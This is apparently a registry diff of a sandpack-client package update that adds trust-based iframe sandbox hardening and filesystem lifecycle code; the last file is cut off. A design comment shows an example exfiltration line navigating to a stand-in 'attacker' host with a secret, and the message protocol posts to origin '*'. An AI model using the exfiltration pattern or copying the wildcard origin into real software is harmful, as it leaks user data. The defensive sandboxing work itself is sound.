@immediately-run/sandpack-client 2.19.10 → 2.21.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/.ir-build-stamp.json +3 -3
- package/dist/clients/iframe-factory.d.ts +25 -4
- package/dist/clients/index.d.ts +1 -0
- package/dist/clients/node/index.js +2 -2
- package/dist/clients/node/index.mjs +2 -2
- package/dist/clients/runtime/iframe-protocol.d.ts +1 -1
- package/dist/clients/runtime/index.js +14 -10
- package/dist/clients/runtime/index.mjs +14 -10
- package/dist/{consoleHook-znXctRzh.js → consoleHook-BRSVCdB0.js} +1 -1
- package/dist/{consoleHook-DQVWjDRE.mjs → consoleHook-BYuGaxe8.mjs} +1 -1
- package/dist/fs/SandpackFS.d.ts +32 -1
- package/dist/iframe-factory-Bc7tcyQZ.js +89 -0
- package/dist/iframe-factory-C8M0b9uf.mjs +86 -0
- package/dist/{index-rbhm_KmF.mjs → index-CetxPB1x.mjs} +5 -5
- package/dist/{index--fILWAw8.js → index-dX5nvjo5.js} +5 -5
- package/dist/index.js +2 -2
- package/dist/index.mjs +2 -2
- package/dist/{types-BFONOA2L.mjs → types-BgalzxpH.mjs} +123 -10
- package/dist/{types-BIIEoWr6.js → types-KEkDKvIe.js} +122 -9
- package/dist/types.d.ts +9 -0
- package/package.json +1 -1
- package/dist/iframe-factory-BcC-S_XQ.js +0 -54
- package/dist/iframe-factory-DybmkzJZ.mjs +0 -51
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "sandpack-client",
|
|
3
|
-
"version": "2.
|
|
4
|
-
"srcHash": "
|
|
5
|
-
"builtAt": "2026-
|
|
3
|
+
"version": "2.21.0",
|
|
4
|
+
"srcHash": "afbc7e1f72ab14999158254aba8d870baf59194b341b07fe89ea866277efaf8d",
|
|
5
|
+
"builtAt": "2026-07-31T18:21:27.125Z"
|
|
6
6
|
}
|
|
@@ -15,13 +15,34 @@
|
|
|
15
15
|
* The node/nodebox emulator is a different execution model and is intentionally
|
|
16
16
|
* NOT routed through here.
|
|
17
17
|
*/
|
|
18
|
+
/**
|
|
19
|
+
* The app's resolved trust stance (TRUST_MODES_SPEC §3, R3-194). Only **M3** (a
|
|
20
|
+
* stranger's app — unknown author) changes iframe emission; M0–M2 (kernel /
|
|
21
|
+
* first-party / the user's own / a verified-org's code) keep the exact baseline.
|
|
22
|
+
* Any absent/unknown value is treated as baseline (fail-SAFE: we only ever TIGHTEN
|
|
23
|
+
* on explicit M3, never loosen — R3-195 plan step 1).
|
|
24
|
+
*/
|
|
25
|
+
export type FrameStance = "M0" | "M1" | "M2" | "M3";
|
|
18
26
|
/** Throw if the iframe would run scripts at a same-origin context (G1/T1). */
|
|
19
27
|
export declare function assertOpaqueOrigin(iframe: HTMLIFrameElement): void;
|
|
20
|
-
/**
|
|
21
|
-
|
|
28
|
+
/**
|
|
29
|
+
* Create an opaque-origin sandboxed iframe for running untrusted app code. `stance`
|
|
30
|
+
* (R3-195) selects the M3-hardened sandbox/allow attributes for a stranger app;
|
|
31
|
+
* absent/M0–M2 emits the exact baseline.
|
|
32
|
+
*
|
|
33
|
+
* SELF-NAVIGATION RESIDUAL (booked, do NOT claim closed — §G1a / TRUST_MODES §6 /
|
|
34
|
+
* finding C1): an M3 frame can still `location = "https://attacker/?d=<secret>"`
|
|
35
|
+
* as a ONE-SHOT `GET`. That channel is unblockable without `allow-top-navigation`
|
|
36
|
+
* gymnastics that break legitimate in-app routing, is browser-parity, and is
|
|
37
|
+
* host-observable (a navigation tripwire is a post-hoc signal, never prevention).
|
|
38
|
+
* This factory contains BULK/streaming egress (fetch, form-POST, popups, pixels);
|
|
39
|
+
* it does not — and cannot — close the single-shot self-nav floor.
|
|
40
|
+
*/
|
|
41
|
+
export declare function createSandboxedIframe(doc?: Document, stance?: FrameStance): HTMLIFrameElement;
|
|
22
42
|
/**
|
|
23
43
|
* Ensure a (possibly externally-provided) app iframe is opaque-origin: set the
|
|
24
44
|
* sandbox/allow attributes if absent, then assert no `allow-same-origin`. Use
|
|
25
|
-
* this for the case where a host passes in its own iframe element.
|
|
45
|
+
* this for the case where a host passes in its own iframe element. `stance` selects
|
|
46
|
+
* the M3-hardened attributes when this factory is the one setting them.
|
|
26
47
|
*/
|
|
27
|
-
export declare function ensureSandboxed(iframe: HTMLIFrameElement): void;
|
|
48
|
+
export declare function ensureSandboxed(iframe: HTMLIFrameElement, stance?: FrameStance): void;
|
package/dist/clients/index.d.ts
CHANGED
|
@@ -1,4 +1,5 @@
|
|
|
1
1
|
import type { ClientOptions, SandboxSetup } from "../types";
|
|
2
2
|
import type { SandpackClient as SandpackClientBase } from "./base";
|
|
3
3
|
export type { SandpackClient } from "./base";
|
|
4
|
+
export type { FrameStance } from "./iframe-factory";
|
|
4
5
|
export declare function loadSandpackClient(iframeSelector: string | HTMLIFrameElement, sandboxSetup: SandboxSetup, options?: ClientOptions): Promise<SandpackClientBase>;
|
|
@@ -2,9 +2,9 @@
|
|
|
2
2
|
|
|
3
3
|
var utils = require('../../utils-BiVyytui.js');
|
|
4
4
|
var nodebox = require('@codesandbox/nodebox');
|
|
5
|
-
require('../../types-
|
|
5
|
+
require('../../types-KEkDKvIe.js');
|
|
6
6
|
var base = require('../../base-DelKLlDk.js');
|
|
7
|
-
var consoleHook = require('../../consoleHook-
|
|
7
|
+
var consoleHook = require('../../consoleHook-BRSVCdB0.js');
|
|
8
8
|
require('outvariant');
|
|
9
9
|
require('@zenfs/core');
|
|
10
10
|
require('dequal');
|
|
@@ -1,8 +1,8 @@
|
|
|
1
1
|
import { _ as __awaiter, a as __generator, f as nullthrows, c as createError, g as __extends, h as __assign } from '../../utils-DG1HA4RZ.mjs';
|
|
2
2
|
import { INJECT_MESSAGE_TYPE, Nodebox, PREVIEW_LOADED_MESSAGE_TYPE } from '@codesandbox/nodebox';
|
|
3
|
-
import '../../types-
|
|
3
|
+
import '../../types-BgalzxpH.mjs';
|
|
4
4
|
import { S as SandpackClient } from '../../base-DBh7xJX9.mjs';
|
|
5
|
-
import { c as consoleHook, g as generateRandomId, E as EventEmitter, a as getMessageFromError, f as findStartScriptPackageJson } from '../../consoleHook-
|
|
5
|
+
import { c as consoleHook, g as generateRandomId, E as EventEmitter, a as getMessageFromError, f as findStartScriptPackageJson } from '../../consoleHook-BYuGaxe8.mjs';
|
|
6
6
|
import 'outvariant';
|
|
7
7
|
import '@zenfs/core';
|
|
8
8
|
import 'dequal';
|
|
@@ -7,7 +7,7 @@ export declare class IFrameProtocol {
|
|
|
7
7
|
channelListeners: Record<number, ListenerFunction>;
|
|
8
8
|
private channelListenersCount;
|
|
9
9
|
readonly channelId: number;
|
|
10
|
-
constructor(iframe: HTMLIFrameElement,
|
|
10
|
+
constructor(iframe: HTMLIFrameElement, _origin: string);
|
|
11
11
|
cleanup(): void;
|
|
12
12
|
register(port?: MessagePort, config?: Record<string, unknown>, babelPort?: MessagePort): void;
|
|
13
13
|
dispatch(message: SandpackMessage): void;
|
|
@@ -2,9 +2,9 @@
|
|
|
2
2
|
|
|
3
3
|
var utils = require('../../utils-BiVyytui.js');
|
|
4
4
|
var dequal = require('dequal');
|
|
5
|
-
var types = require('../../types-
|
|
5
|
+
var types = require('../../types-KEkDKvIe.js');
|
|
6
6
|
var base = require('../../base-DelKLlDk.js');
|
|
7
|
-
var iframeFactory = require('../../iframe-factory-
|
|
7
|
+
var iframeFactory = require('../../iframe-factory-Bc7tcyQZ.js');
|
|
8
8
|
var mimeDB = require('mime-db');
|
|
9
9
|
require('outvariant');
|
|
10
10
|
require('@zenfs/core');
|
|
@@ -67,7 +67,7 @@ var Protocol = /** @class */ (function () {
|
|
|
67
67
|
}());
|
|
68
68
|
|
|
69
69
|
var IFrameProtocol = /** @class */ (function () {
|
|
70
|
-
function IFrameProtocol(iframe,
|
|
70
|
+
function IFrameProtocol(iframe, _origin) {
|
|
71
71
|
// React to messages from any iframe
|
|
72
72
|
this.globalListeners = {};
|
|
73
73
|
this.globalListenersCount = 0;
|
|
@@ -77,7 +77,7 @@ var IFrameProtocol = /** @class */ (function () {
|
|
|
77
77
|
// Random number to identify this instance of the client when messages are coming from multiple iframes
|
|
78
78
|
this.channelId = Math.floor(Math.random() * 1000000);
|
|
79
79
|
this.frameWindow = iframe.contentWindow;
|
|
80
|
-
this.origin =
|
|
80
|
+
this.origin = "*"; //origin;
|
|
81
81
|
this.globalListeners = [];
|
|
82
82
|
this.channelListeners = [];
|
|
83
83
|
this.eventListener = this.eventListener.bind(this);
|
|
@@ -101,6 +101,7 @@ var IFrameProtocol = /** @class */ (function () {
|
|
|
101
101
|
if (!this.frameWindow) {
|
|
102
102
|
return;
|
|
103
103
|
}
|
|
104
|
+
// eslint-disable-next-line no-console -- dev registration trace
|
|
104
105
|
console.log("[IFrameProtocol] Registering iframe with channelId", this.channelId, this);
|
|
105
106
|
// Order matters: the bundler reads ports[0] as the fs port and ports[1] as
|
|
106
107
|
// the Babel worker port. `filter` keeps that order as long as the fs port
|
|
@@ -324,7 +325,7 @@ function handleImmutableFetch(url, integrity) {
|
|
|
324
325
|
return [2 /*return*/, serializeResponse(hit)];
|
|
325
326
|
}
|
|
326
327
|
// Stale/poisoned entry: drop it and fall through to a fresh fetch.
|
|
327
|
-
return [4 /*yield*/, cache.delete(url).catch(function () { })];
|
|
328
|
+
return [4 /*yield*/, cache.delete(url).catch(function () { return undefined; })];
|
|
328
329
|
case 5:
|
|
329
330
|
// Stale/poisoned entry: drop it and fall through to a fresh fetch.
|
|
330
331
|
_b.sent();
|
|
@@ -348,8 +349,11 @@ function handleImmutableFetch(url, integrity) {
|
|
|
348
349
|
if (!_a) return [3 /*break*/, 12];
|
|
349
350
|
// Only persist verified bytes. A failed put (quota) only costs the entry.
|
|
350
351
|
return [4 /*yield*/, cache
|
|
351
|
-
.put(url, new Response(result.body.slice(0), {
|
|
352
|
-
.
|
|
352
|
+
.put(url, new Response(result.body.slice(0), {
|
|
353
|
+
status: result.status,
|
|
354
|
+
headers: { "content-type": result.contentType },
|
|
355
|
+
}))
|
|
356
|
+
.catch(function () { return undefined; })];
|
|
353
357
|
case 11:
|
|
354
358
|
// Only persist verified bytes. A failed put (quota) only costs the entry.
|
|
355
359
|
_b.sent();
|
|
@@ -526,7 +530,7 @@ function getExtension(filepath) {
|
|
|
526
530
|
|
|
527
531
|
var _a;
|
|
528
532
|
var SUFFIX_PLACEHOLDER = "-{{suffix}}";
|
|
529
|
-
var BUNDLER_URL = "https://".concat((_a = "2.
|
|
533
|
+
var BUNDLER_URL = "https://".concat((_a = "2.21.0") === null || _a === void 0 ? void 0 : _a.replace(/\./g, "-")).concat(SUFFIX_PLACEHOLDER, "-sandpack.codesandbox.io/");
|
|
530
534
|
var SandpackRuntime = /** @class */ (function (_super) {
|
|
531
535
|
utils.__extends(SandpackRuntime, _super);
|
|
532
536
|
function SandpackRuntime(selector, sandboxSetup, options) {
|
|
@@ -572,7 +576,7 @@ var SandpackRuntime = /** @class */ (function (_super) {
|
|
|
572
576
|
// touch shared storage on the bundler origin. The Babel worker that used
|
|
573
577
|
// to require same-origin is now owned by the parent and reached over a
|
|
574
578
|
// transferred `MessagePort` (see `createBabelWorkerPort`).
|
|
575
|
-
_this.iframe = iframeFactory.createSandboxedIframe();
|
|
579
|
+
_this.iframe = iframeFactory.createSandboxedIframe(document, _this.options.stance);
|
|
576
580
|
_this.initializeElement();
|
|
577
581
|
}
|
|
578
582
|
else {
|
|
@@ -581,7 +585,7 @@ var SandpackRuntime = /** @class */ (function (_super) {
|
|
|
581
585
|
}
|
|
582
586
|
// Set-and-assert: a host-provided iframe is hardened here, and any iframe
|
|
583
587
|
// (created or passed) is verified to carry no `allow-same-origin`.
|
|
584
|
-
iframeFactory.ensureSandboxed(_this.iframe);
|
|
588
|
+
iframeFactory.ensureSandboxed(_this.iframe, _this.options.stance);
|
|
585
589
|
_this.setLocationURLIntoIFrame();
|
|
586
590
|
_this.iframeProtocol = new IFrameProtocol(_this.iframe, _this.bundlerURL);
|
|
587
591
|
_this.unsubscribeGlobalListener = _this.iframeProtocol.globalListen(function (mes) {
|
|
@@ -1,8 +1,8 @@
|
|
|
1
1
|
import { _ as __awaiter, a as __generator, h as __assign, i as __rest, j as __spreadArray, g as __extends, f as nullthrows, e as extractErrorDetails, c as createError, d as createPackageJSON } from '../../utils-DG1HA4RZ.mjs';
|
|
2
2
|
import { dequal } from 'dequal';
|
|
3
|
-
import { a as SandpackLogLevel } from '../../types-
|
|
3
|
+
import { a as SandpackLogLevel } from '../../types-BgalzxpH.mjs';
|
|
4
4
|
import { S as SandpackClient } from '../../base-DBh7xJX9.mjs';
|
|
5
|
-
import { c as createSandboxedIframe, e as ensureSandboxed } from '../../iframe-factory-
|
|
5
|
+
import { c as createSandboxedIframe, e as ensureSandboxed } from '../../iframe-factory-C8M0b9uf.mjs';
|
|
6
6
|
import mimeDB from 'mime-db';
|
|
7
7
|
import 'outvariant';
|
|
8
8
|
import '@zenfs/core';
|
|
@@ -65,7 +65,7 @@ var Protocol = /** @class */ (function () {
|
|
|
65
65
|
}());
|
|
66
66
|
|
|
67
67
|
var IFrameProtocol = /** @class */ (function () {
|
|
68
|
-
function IFrameProtocol(iframe,
|
|
68
|
+
function IFrameProtocol(iframe, _origin) {
|
|
69
69
|
// React to messages from any iframe
|
|
70
70
|
this.globalListeners = {};
|
|
71
71
|
this.globalListenersCount = 0;
|
|
@@ -75,7 +75,7 @@ var IFrameProtocol = /** @class */ (function () {
|
|
|
75
75
|
// Random number to identify this instance of the client when messages are coming from multiple iframes
|
|
76
76
|
this.channelId = Math.floor(Math.random() * 1000000);
|
|
77
77
|
this.frameWindow = iframe.contentWindow;
|
|
78
|
-
this.origin =
|
|
78
|
+
this.origin = "*"; //origin;
|
|
79
79
|
this.globalListeners = [];
|
|
80
80
|
this.channelListeners = [];
|
|
81
81
|
this.eventListener = this.eventListener.bind(this);
|
|
@@ -99,6 +99,7 @@ var IFrameProtocol = /** @class */ (function () {
|
|
|
99
99
|
if (!this.frameWindow) {
|
|
100
100
|
return;
|
|
101
101
|
}
|
|
102
|
+
// eslint-disable-next-line no-console -- dev registration trace
|
|
102
103
|
console.log("[IFrameProtocol] Registering iframe with channelId", this.channelId, this);
|
|
103
104
|
// Order matters: the bundler reads ports[0] as the fs port and ports[1] as
|
|
104
105
|
// the Babel worker port. `filter` keeps that order as long as the fs port
|
|
@@ -322,7 +323,7 @@ function handleImmutableFetch(url, integrity) {
|
|
|
322
323
|
return [2 /*return*/, serializeResponse(hit)];
|
|
323
324
|
}
|
|
324
325
|
// Stale/poisoned entry: drop it and fall through to a fresh fetch.
|
|
325
|
-
return [4 /*yield*/, cache.delete(url).catch(function () { })];
|
|
326
|
+
return [4 /*yield*/, cache.delete(url).catch(function () { return undefined; })];
|
|
326
327
|
case 5:
|
|
327
328
|
// Stale/poisoned entry: drop it and fall through to a fresh fetch.
|
|
328
329
|
_b.sent();
|
|
@@ -346,8 +347,11 @@ function handleImmutableFetch(url, integrity) {
|
|
|
346
347
|
if (!_a) return [3 /*break*/, 12];
|
|
347
348
|
// Only persist verified bytes. A failed put (quota) only costs the entry.
|
|
348
349
|
return [4 /*yield*/, cache
|
|
349
|
-
.put(url, new Response(result.body.slice(0), {
|
|
350
|
-
.
|
|
350
|
+
.put(url, new Response(result.body.slice(0), {
|
|
351
|
+
status: result.status,
|
|
352
|
+
headers: { "content-type": result.contentType },
|
|
353
|
+
}))
|
|
354
|
+
.catch(function () { return undefined; })];
|
|
351
355
|
case 11:
|
|
352
356
|
// Only persist verified bytes. A failed put (quota) only costs the entry.
|
|
353
357
|
_b.sent();
|
|
@@ -524,7 +528,7 @@ function getExtension(filepath) {
|
|
|
524
528
|
|
|
525
529
|
var _a;
|
|
526
530
|
var SUFFIX_PLACEHOLDER = "-{{suffix}}";
|
|
527
|
-
var BUNDLER_URL = "https://".concat((_a = "2.
|
|
531
|
+
var BUNDLER_URL = "https://".concat((_a = "2.21.0") === null || _a === void 0 ? void 0 : _a.replace(/\./g, "-")).concat(SUFFIX_PLACEHOLDER, "-sandpack.codesandbox.io/");
|
|
528
532
|
var SandpackRuntime = /** @class */ (function (_super) {
|
|
529
533
|
__extends(SandpackRuntime, _super);
|
|
530
534
|
function SandpackRuntime(selector, sandboxSetup, options) {
|
|
@@ -570,7 +574,7 @@ var SandpackRuntime = /** @class */ (function (_super) {
|
|
|
570
574
|
// touch shared storage on the bundler origin. The Babel worker that used
|
|
571
575
|
// to require same-origin is now owned by the parent and reached over a
|
|
572
576
|
// transferred `MessagePort` (see `createBabelWorkerPort`).
|
|
573
|
-
_this.iframe = createSandboxedIframe();
|
|
577
|
+
_this.iframe = createSandboxedIframe(document, _this.options.stance);
|
|
574
578
|
_this.initializeElement();
|
|
575
579
|
}
|
|
576
580
|
else {
|
|
@@ -579,7 +583,7 @@ var SandpackRuntime = /** @class */ (function (_super) {
|
|
|
579
583
|
}
|
|
580
584
|
// Set-and-assert: a host-provided iframe is hardened here, and any iframe
|
|
581
585
|
// (created or passed) is verified to carry no `allow-same-origin`.
|
|
582
|
-
ensureSandboxed(_this.iframe);
|
|
586
|
+
ensureSandboxed(_this.iframe, _this.options.stance);
|
|
583
587
|
_this.setLocationURLIntoIFrame();
|
|
584
588
|
_this.iframeProtocol = new IFrameProtocol(_this.iframe, _this.bundlerURL);
|
|
585
589
|
_this.unsubscribeGlobalListener = _this.iframeProtocol.globalListen(function (mes) {
|
package/dist/fs/SandpackFS.d.ts
CHANGED
|
@@ -1,4 +1,4 @@
|
|
|
1
|
-
import { BoundContext } from "@zenfs/core";
|
|
1
|
+
import { type BoundContext } from "@zenfs/core";
|
|
2
2
|
/**
|
|
3
3
|
* Per-file UI metadata. The file *content* lives in the filesystem as bytes;
|
|
4
4
|
* everything else (visibility, editability, initial focus) is kept in a sidecar
|
|
@@ -45,6 +45,20 @@ export type SandpackFilesInput = Record<string, FileMeta & {
|
|
|
45
45
|
* All reads / writes are async. Changes emit a single coalesced notification
|
|
46
46
|
* (watcher or explicit helper calls) so React can subscribe via
|
|
47
47
|
* `useSyncExternalStore`.
|
|
48
|
+
*
|
|
49
|
+
* ## Writer invariant (why every mutation must funnel through here)
|
|
50
|
+
*
|
|
51
|
+
* The ZenFS `Port` backend does **not** forward watch events across the iframe
|
|
52
|
+
* boundary, so **every** independent mutator of the shared store MUST route through
|
|
53
|
+
* {@link SandpackFS.writeFile} (local edits → `external: false`) or
|
|
54
|
+
* {@link SandpackFS.handleRemoteChange} (iframe edits relayed by the host's
|
|
55
|
+
* `exportZenFS` → `external: true`). A write that reaches this instance's
|
|
56
|
+
* bound-context fs by any other path emits no `onChange`, so the editor view and
|
|
57
|
+
* the bundler relay silently miss it. This is the conflict-model writer invariant
|
|
58
|
+
* spec'd in **`EDITOR_AS_APP_SPEC.md` → Decisions & rejected alternatives D-EDIT-1**
|
|
59
|
+
* ("Conflict-model note (writer invariant)") and **`LOCAL_DEVELOPMENT_SPEC.md` §6.5**.
|
|
60
|
+
* In dev, {@link installOutOfBandGuard} turns that convention into a loud
|
|
61
|
+
* assertion (roadmap R3-110); in production the guard is compiled out.
|
|
48
62
|
*/
|
|
49
63
|
export declare class SandpackFS {
|
|
50
64
|
readonly fsContext: BoundContext;
|
|
@@ -55,6 +69,13 @@ export declare class SandpackFS {
|
|
|
55
69
|
private sidecarEnvironment;
|
|
56
70
|
private sidecarMode;
|
|
57
71
|
private disposed;
|
|
72
|
+
/** The ZenFS mount point this instance created and is therefore allowed to
|
|
73
|
+
* unmount in {@link dispose}. Unset for an adopted context, whose lifecycle
|
|
74
|
+
* belongs to the caller. */
|
|
75
|
+
private ownedMountPoint;
|
|
76
|
+
private readonly rawWriteFile;
|
|
77
|
+
private readonly rawUnlink;
|
|
78
|
+
private readonly rawMkdir;
|
|
58
79
|
private constructor();
|
|
59
80
|
/**
|
|
60
81
|
* Create the `MessagePort` shared with the child iframe, wiring the iframe's
|
|
@@ -105,6 +126,16 @@ export declare class SandpackFS {
|
|
|
105
126
|
* reflect it — distinct from local edits, which never reach here.
|
|
106
127
|
*/
|
|
107
128
|
handleRemoteChange(path: string): void;
|
|
129
|
+
/**
|
|
130
|
+
* Tear this instance down: drop every subscriber, stop emitting changes, and
|
|
131
|
+
* release the ZenFS mount if we created it ({@link fromFiles}). An *adopted*
|
|
132
|
+
* context ({@link fromFileSystemContext}) is left mounted — its lifecycle
|
|
133
|
+
* belongs to the caller.
|
|
134
|
+
*
|
|
135
|
+
* ZenFS mounts live in a process-global table, so an instance that is never
|
|
136
|
+
* disposed keeps its backing store alive for the page's lifetime. Idempotent.
|
|
137
|
+
*/
|
|
138
|
+
dispose(): void;
|
|
108
139
|
private toAbs;
|
|
109
140
|
private notify;
|
|
110
141
|
private ensureMetaDir;
|
|
@@ -0,0 +1,89 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* The single chokepoint for creating **app iframes** (UI_AS_APPS_SPEC §2 / G1 /
|
|
5
|
+
* threat T1).
|
|
6
|
+
*
|
|
7
|
+
* App iframes MUST be opaque-origin: `sandbox="allow-scripts …"` WITHOUT
|
|
8
|
+
* `allow-same-origin`. With `allow-same-origin` alongside `allow-scripts` an app
|
|
9
|
+
* could remove its own sandboxing and reach the parent — the whole capability
|
|
10
|
+
* model collapses. This is the one invariant with no defense-in-depth, so
|
|
11
|
+
* creation is centralized here and the resolved attribute is asserted. Raw
|
|
12
|
+
* `document.createElement('iframe')` for app content elsewhere is forbidden (a
|
|
13
|
+
* greppable CI check), so the verifiable invariant is "every app iframe is born
|
|
14
|
+
* in this factory."
|
|
15
|
+
*
|
|
16
|
+
* Scope: the opaque-origin app iframes (the runtime + static preview clients).
|
|
17
|
+
* The node/nodebox emulator is a different execution model and is intentionally
|
|
18
|
+
* NOT routed through here.
|
|
19
|
+
*/
|
|
20
|
+
// Baseline app sandbox (M0–M2): the full set a trusted-author app needs
|
|
21
|
+
// (value 3). `allow-same-origin` is ABSENT and stays absent (G1/T1).
|
|
22
|
+
var APP_SANDBOX_BASELINE = "allow-forms allow-modals allow-popups allow-presentation allow-scripts allow-downloads allow-pointer-lock";
|
|
23
|
+
// M3 (stranger app) sandbox — the §G1a tightening: baseline MINUS `allow-forms`
|
|
24
|
+
// (native form-POST exfil), `allow-popups`/`allow-modals`/`allow-presentation`
|
|
25
|
+
// (`window.open(url)` + popup/presentation-URL exfil). KEEP `allow-scripts` (the
|
|
26
|
+
// app must still run), `allow-downloads`, `allow-pointer-lock`. This is a STRICT
|
|
27
|
+
// SUBSET of the baseline — never adds a flag (the §G1a subset invariant). The
|
|
28
|
+
// remaining bulk-egress channels (fetch/XHR/WebSocket/beacon, pixels) are shut by
|
|
29
|
+
// the per-frame M3 CSP delivered with the frame's document (R3-195 sandbox repo),
|
|
30
|
+
// not by a sandbox flag. `allow-same-origin` remains absent.
|
|
31
|
+
var APP_SANDBOX_M3 = "allow-scripts allow-downloads allow-pointer-lock";
|
|
32
|
+
// Baseline delegated features (the `allow` / Permissions-Policy attribute).
|
|
33
|
+
var APP_ALLOW_BASELINE = "accelerometer; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; clipboard-read; clipboard-write; xr-spatial-tracking;";
|
|
34
|
+
// M3 delegates NOTHING — camera/microphone/geolocation and every other egress- or
|
|
35
|
+
// sensor-capable feature is withheld (an empty allowlist ≡ disabled), which also
|
|
36
|
+
// denies the WebRTC/getUserMedia surfaces. A strict subset of the baseline.
|
|
37
|
+
var APP_ALLOW_M3 = "";
|
|
38
|
+
var sandboxAttrFor = function (stance) {
|
|
39
|
+
return stance === "M3" ? APP_SANDBOX_M3 : APP_SANDBOX_BASELINE;
|
|
40
|
+
};
|
|
41
|
+
var allowAttrFor = function (stance) {
|
|
42
|
+
return stance === "M3" ? APP_ALLOW_M3 : APP_ALLOW_BASELINE;
|
|
43
|
+
};
|
|
44
|
+
/** Throw if the iframe would run scripts at a same-origin context (G1/T1). */
|
|
45
|
+
function assertOpaqueOrigin(iframe) {
|
|
46
|
+
var _a;
|
|
47
|
+
var sandbox = (_a = iframe.getAttribute("sandbox")) !== null && _a !== void 0 ? _a : "";
|
|
48
|
+
if (/(^|\s)allow-same-origin(\s|$)/.test(sandbox)) {
|
|
49
|
+
throw new Error("Refusing an app iframe with allow-same-origin alongside allow-scripts: " +
|
|
50
|
+
"the sandbox would be void (UI_AS_APPS_SPEC G1/T1).");
|
|
51
|
+
}
|
|
52
|
+
}
|
|
53
|
+
/**
|
|
54
|
+
* Create an opaque-origin sandboxed iframe for running untrusted app code. `stance`
|
|
55
|
+
* (R3-195) selects the M3-hardened sandbox/allow attributes for a stranger app;
|
|
56
|
+
* absent/M0–M2 emits the exact baseline.
|
|
57
|
+
*
|
|
58
|
+
* SELF-NAVIGATION RESIDUAL (booked, do NOT claim closed — §G1a / TRUST_MODES §6 /
|
|
59
|
+
* finding C1): an M3 frame can still `location = "https://attacker/?d=<secret>"`
|
|
60
|
+
* as a ONE-SHOT `GET`. That channel is unblockable without `allow-top-navigation`
|
|
61
|
+
* gymnastics that break legitimate in-app routing, is browser-parity, and is
|
|
62
|
+
* host-observable (a navigation tripwire is a post-hoc signal, never prevention).
|
|
63
|
+
* This factory contains BULK/streaming egress (fetch, form-POST, popups, pixels);
|
|
64
|
+
* it does not — and cannot — close the single-shot self-nav floor.
|
|
65
|
+
*/
|
|
66
|
+
function createSandboxedIframe(doc, stance) {
|
|
67
|
+
if (doc === void 0) { doc = document; }
|
|
68
|
+
var iframe = doc.createElement("iframe");
|
|
69
|
+
iframe.setAttribute("sandbox", sandboxAttrFor(stance));
|
|
70
|
+
iframe.setAttribute("allow", allowAttrFor(stance));
|
|
71
|
+
assertOpaqueOrigin(iframe);
|
|
72
|
+
return iframe;
|
|
73
|
+
}
|
|
74
|
+
/**
|
|
75
|
+
* Ensure a (possibly externally-provided) app iframe is opaque-origin: set the
|
|
76
|
+
* sandbox/allow attributes if absent, then assert no `allow-same-origin`. Use
|
|
77
|
+
* this for the case where a host passes in its own iframe element. `stance` selects
|
|
78
|
+
* the M3-hardened attributes when this factory is the one setting them.
|
|
79
|
+
*/
|
|
80
|
+
function ensureSandboxed(iframe, stance) {
|
|
81
|
+
if (!iframe.getAttribute("sandbox")) {
|
|
82
|
+
iframe.setAttribute("sandbox", sandboxAttrFor(stance));
|
|
83
|
+
iframe.setAttribute("allow", allowAttrFor(stance));
|
|
84
|
+
}
|
|
85
|
+
assertOpaqueOrigin(iframe);
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
exports.createSandboxedIframe = createSandboxedIframe;
|
|
89
|
+
exports.ensureSandboxed = ensureSandboxed;
|
|
@@ -0,0 +1,86 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* The single chokepoint for creating **app iframes** (UI_AS_APPS_SPEC §2 / G1 /
|
|
3
|
+
* threat T1).
|
|
4
|
+
*
|
|
5
|
+
* App iframes MUST be opaque-origin: `sandbox="allow-scripts …"` WITHOUT
|
|
6
|
+
* `allow-same-origin`. With `allow-same-origin` alongside `allow-scripts` an app
|
|
7
|
+
* could remove its own sandboxing and reach the parent — the whole capability
|
|
8
|
+
* model collapses. This is the one invariant with no defense-in-depth, so
|
|
9
|
+
* creation is centralized here and the resolved attribute is asserted. Raw
|
|
10
|
+
* `document.createElement('iframe')` for app content elsewhere is forbidden (a
|
|
11
|
+
* greppable CI check), so the verifiable invariant is "every app iframe is born
|
|
12
|
+
* in this factory."
|
|
13
|
+
*
|
|
14
|
+
* Scope: the opaque-origin app iframes (the runtime + static preview clients).
|
|
15
|
+
* The node/nodebox emulator is a different execution model and is intentionally
|
|
16
|
+
* NOT routed through here.
|
|
17
|
+
*/
|
|
18
|
+
// Baseline app sandbox (M0–M2): the full set a trusted-author app needs
|
|
19
|
+
// (value 3). `allow-same-origin` is ABSENT and stays absent (G1/T1).
|
|
20
|
+
var APP_SANDBOX_BASELINE = "allow-forms allow-modals allow-popups allow-presentation allow-scripts allow-downloads allow-pointer-lock";
|
|
21
|
+
// M3 (stranger app) sandbox — the §G1a tightening: baseline MINUS `allow-forms`
|
|
22
|
+
// (native form-POST exfil), `allow-popups`/`allow-modals`/`allow-presentation`
|
|
23
|
+
// (`window.open(url)` + popup/presentation-URL exfil). KEEP `allow-scripts` (the
|
|
24
|
+
// app must still run), `allow-downloads`, `allow-pointer-lock`. This is a STRICT
|
|
25
|
+
// SUBSET of the baseline — never adds a flag (the §G1a subset invariant). The
|
|
26
|
+
// remaining bulk-egress channels (fetch/XHR/WebSocket/beacon, pixels) are shut by
|
|
27
|
+
// the per-frame M3 CSP delivered with the frame's document (R3-195 sandbox repo),
|
|
28
|
+
// not by a sandbox flag. `allow-same-origin` remains absent.
|
|
29
|
+
var APP_SANDBOX_M3 = "allow-scripts allow-downloads allow-pointer-lock";
|
|
30
|
+
// Baseline delegated features (the `allow` / Permissions-Policy attribute).
|
|
31
|
+
var APP_ALLOW_BASELINE = "accelerometer; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; clipboard-read; clipboard-write; xr-spatial-tracking;";
|
|
32
|
+
// M3 delegates NOTHING — camera/microphone/geolocation and every other egress- or
|
|
33
|
+
// sensor-capable feature is withheld (an empty allowlist ≡ disabled), which also
|
|
34
|
+
// denies the WebRTC/getUserMedia surfaces. A strict subset of the baseline.
|
|
35
|
+
var APP_ALLOW_M3 = "";
|
|
36
|
+
var sandboxAttrFor = function (stance) {
|
|
37
|
+
return stance === "M3" ? APP_SANDBOX_M3 : APP_SANDBOX_BASELINE;
|
|
38
|
+
};
|
|
39
|
+
